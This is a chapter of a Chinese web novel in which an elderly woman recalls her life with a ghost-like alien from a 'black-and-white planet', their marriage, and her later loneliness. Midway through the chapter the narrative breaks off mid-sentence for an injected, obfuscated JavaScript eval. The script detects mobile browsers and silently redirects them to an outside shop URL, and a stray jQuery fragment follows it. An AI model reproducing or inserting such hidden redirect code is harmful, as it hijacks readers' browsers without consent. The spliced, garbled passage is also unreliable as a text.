22. 022
    外面放着吵闹的电视声,老人洗完碗筷,随后拿起类似手机的东西开始刷起视频。

    她现在记性有些不太好了,身体也容易感到疲倦,没有刷一会儿,老人便走到自己的房间里开始躺着。

    她在回忆之前的事情。

    之前的事情?老人从床底下抱出一个木盒子,她小心翼翼地捧在怀中,生怕磕着碰着。

    那是属于她的很重要的东西。

    她的丈夫已经死去了,她不是这个地方的人。

    老人轻轻抚摸着木盒,嗯,她来自地球,来自一个偏僻的、贫穷的、肮脏的地方-万民窟。

    她记得当时,家里好像闹鬼了,各个地方的角落总是莫名其妙吱呀吱呀地乱响。

    她被弄得烦了,开始骂骂咧咧起来。

    “不要吵了,再吵被我抓着的话我就把你炖着吃了!”她那时候很年轻,精力总是很旺盛,不像现在,做一会儿事情就觉得很累。

    她的房子果然不吵了,慧与闭上眼睛,安心地睡下。

    有什么东西掉落在她的脸上,慧与烦躁地睁开眼睛。

    她看见天花板上倒映着一个很长很瘦的黑色影子,她眨巴着眼睛,和天花板上的影子对视。

    “你叫什么名字?”慧与不知为何并不害怕,她早就知道这地方闹鬼,但是相比贫穷,有鬼这事又算得了什么?

    那人说自己叫约微斯,来自黑白星球。

    黑白星球?慧与觉得这个鬼还挺有趣,竟然还编纂了这么一个话本。

    不过她喜欢,她乐意听这些话本,就当解个闷。

    约微斯是一个沉默的人,他说话总是淡淡的,没有丝毫激情,不论慧与跟他说什么,他的语气都没有太大变化,好似所有一切都不相关似的。

    慧与就不一样了,她每天上班真的快成一个散发着“臭味”的尸体了!一天到晚都要被上面的人批评这批评那,憋屈死她了!

    现在有个鬼每天愿意当她的听众,简直就是给她这副被残害的尸体标配的淡尸剂。

    她把自己的经历给他说了好多好多,还邀请他和自己玩,把自己的饭给他吃。

    这个世界上这么会有她这么好的人!哪有人会在万民窟给鬼吃饭啊。

    自己都穷得叮当响,竟然还会大发慈悲去施舍别人。

    不过约微斯这只鬼似乎并不理解她的苦心。

    唉,没办法,谁叫她人美心善又大方呢?

    但是这小鬼其实也很不错,会暗中保护她,不让她受欺负,帮她打扫家务。

    老人打开木盒,随即拿出一本笔记本,她苍老的指尖翻动着那些遥远的回忆。

    慧与哭哭笑笑,那笔记本的纸页已经开始泛黄,字迹有些不太清楚了。

    她的尸斑变淡了,约微斯竟然也褪去了黑白色,开始有了其它的色彩。

    “你?怎么像个变色龙一样。”慧与碰了碰他的皮肤,凉凉的,像是那种果冻,又有些软软的。

    褪去黑白,他的皮肤仍旧是黝黑的,像是在太阳底下晒脱了几层皮所留下的痕迹,也许这是太阳赠送给他的礼物。

    这小鬼先前一直被一团黑影笼罩着面孔,现如今露出人形好像还是蛮帅的。

    慧与虽然算不得是一个颜控,但是遇见了又怎能不说一声的确是赏心悦目呢?

    然后这小鬼跟她说了一段机器肉麻的话:“我喜欢你。”

    见慧与不回答,那小鬼又将到:“是你赋予了我色彩,将世界上所有的美好都赠予了我,我会将这份记忆永远珍藏,我也想给你更美好的世界,你愿意答应我和一起双修吗?”

    慧与:“你说什么?双修?是我想的那样吗?”

    约微斯沉默了一会,然后解释道:“就是你们人类之中所说的男欢女爱。”

    慧与扇了他一巴掌,什么虎狼之词?她把小鬼当朋友,小鬼把她当小丑?

    “你要是再说这些,我可就把你扫地出门了哦。”

    约微斯有些疑惑:“可是我真的很喜欢你,人类中表达好感不就是这么说的吗?”

    “但是人类感情也分很多种,你说的双修是男女之事!那是爱情下的产物,你我之间有什么爱情?”

    “爱情不可以是喜欢吗?我真的很想跟你双修,我想把我所看到的色彩都赠予给你,让你看到这个世界上最美丽的风景,想把我的一切都给你,因为是你解锁了我的封印,你就是我的妻子,我愿意为你付出我的一切,哪怕生命,哪怕色彩。”

    约微斯说的很真诚,听得慧与一愣一愣的,她疑问道:“你之前只看得见黑白?”

    约微斯点点头:“在黑白星球里生存的生灵,从出生开始就只能看见黑白的颜色,我们天性理智冷漠,凡事都只会以利益最大化为目的,我们没有感情,这是上古就流传的封印,但是只要我们感受到了爱,接纳了爱,我们的世界便会不再是黑白,还能看见这个宇宙的三亿多种颜色,我知道你们人类最多只能分辨一千万种颜色,远不如我现在眼睛所看见的美丽和精彩。”

    “我们永远不会忘记自己最美好的记忆,我想将所有的一切都说给你听。”

    “因为你是我的妻子,我的爱人,所以我想与你分享。”

    慧与点点头,若有所思,然后下一秒抄起一把扫帚朝约微斯打去:“滚滚滚,什么乱七八糟的,我才不信!”

    她才不相信什么爱不爱,人与人之间的交往不过就是利益往来而已,她可能真的恰好帮助了她,但那不是爱。

    从小到她,她哪一次不是因为没有足够的利用价值就被移置后位,被人当做备用选项?

    约微斯被扫地出门了,但并没有灰心。

    人类的感情远远比它们复杂,他虽然不是特别的懂,但他会一直默默守护他的爱人。

    后来万民窟被怪物侵袭了,怪物长着白色的脑袋,巨大的身躯肆意地在万民窟踩踏,普通的枪支打不倒它们,弱小的灵族也无法给它们造成伤害。

    它们是新科技的产品,不是旧时代的产物。

    万民窟的人群是社会中最落后力量的象征,与这些先进的东西相比力量差距过于悬殊。

    竹听渝查看着这段记忆中所出现的怪物,这些面孔模糊而又陌生,她想在其中汲取更多的信息。

    慧与跑出了自己的房屋,她在寻找逃出的路线。

    竹听渝看到一个黑色的身影,他站在异种的上面,似乎丝毫不畏惧这种场面。

    他就是埃尔里斯?竹下幺皱紧眉头想看得更细致些,可是她看不清,除了模糊之外还有一个原因是那个人戴着一个黑色的口罩,恰好遮住了他的面孔。

    竹听渝觉得这人似乎有些眼熟,可是她却完全没有印象,究竟是谁?

    那人像是察觉到了竹听渝的目,伸开双手向后倒去。

    竹听渝觉得自己眼睛坏了,怎么会有人透过尸魂过去的记忆来看向未来的她?

    是巧合吧,刚刚好与她所站的视角相对应。

    异种的爪子向慧与抓来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924120|134721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她看到了约微斯,她还未张开嘴,就看到约微斯跳到自己的身旁同她说道:“去我的星球吧,我会给你想要的一切,好吗?”

    慧与答应了,她在地球的家没有了,去哪里不是一样的呢?她是飘荡的游草,没有哪里是她的归属。

    她离开自己的母星越来越远,逃到了黑白星球。

    顾名思义,所有的一切都是黑白的。

    她的眼睛似乎也在某种封印中被剥夺了色彩,开始慢慢地变成黑白色。

    她相信了约微斯的话,原来他说的一切都是真的是吗?

    慧与渐渐习惯了这种黑白,她和约微斯结婚了,生了很多个小孩。

    在这里生小孩与人界不太一样,是汇聚成了一团黑白色的气体再在肚中渐渐浮出的,没有人类生小孩那么痛。

    约微斯问她:“慧与,在你的眼中是否也能和我一样看到许多美丽的色彩呢?”

    她看不见,但是她还是点点头:“嗯,很美。”

    约微斯履行了承诺,一直都对她很好,她能感觉到自己对他也是有感情的,她爱得也很是深重,可是她不知道为什么她看不见除了黑白以外的其他颜色。

    孩子长大了,她也老了。

    黑白星球上的人的寿命都很短,短到慧与完全没有准备。

    那一天早上,慧与醒来后看到约微斯又变成了黑色的影子,她轻声呼唤着他,可是没有任何回应。

    约微斯走了。

    慧与好像也不是很难过,她说不清这种感情,只是身边少了一个人而已。

    孩子们害怕她一个人呆着闷和孤独,就把她接到它们的房子里。

    除了个别孙子孙女,它们都是黑色的影子,一个家里,这么多人,怎么还不如一个约微斯好说话呢?

    慧与觉得很奇怪,这么多人,却没有一个人可以和她深入聊些天。

    她老了,知道自己每活一天就离死亡更近一步。

    她已然是一个老人的,不该有太多跳脱的行为,她不能为自己的孩子增添麻烦,不应该说太多话,不要操太多心。

    坐在那,安静地打扫着家务,享受着这黑白星球里流淌的水流与墨色的阳光,这才是一个老年人应该最不让人担心的样子。

    她知道这是孩子在帮助她规避最大的风险,她都明白,可是她并不是特别快乐,她知道自己的内心需求在她这个年纪要学会自觉后退。

    她觉得自己太矫揉造作了,一个老年人干嘛要找这么多事情?孩子爱她,她也爱孩子,这不好吗?干嘛要想这么多?

    可是情绪总是在黑白中不断沦陷,太奇怪了,不受控制了。

    时间带去的不是她的容貌和身体,还有她那颗走向自由的心,身心无法再随意地跟随意志的指导,被困于沉重的躯壳,被酸痛的肢体折磨,无法再随心所欲地奔跑。

    她那时突然很敬佩身处于被身体折磨却仍旧能再精神上得到自由的人,这究竟是怎么做到的?

    她太弱小了,没有一颗强大的心脏。

    她太自私了,老了还被自己的贪欲折磨。

    所以她一边碍于各种现实中应该履行和扮演的义务,一边又无法不去面对内心里奇怪的情绪翻滚。

    她真的不知道怎么办,她知道怎么做对于自己来说才是最有利的、最顺心的,她的逻辑完全能够自洽,可是她就是内心深处很不舒服,这种不舒服原本是一粒芝麻大小,却不受控制地愈演愈烈,然后将她整个人抱住,被彻底的黑暗裹挟。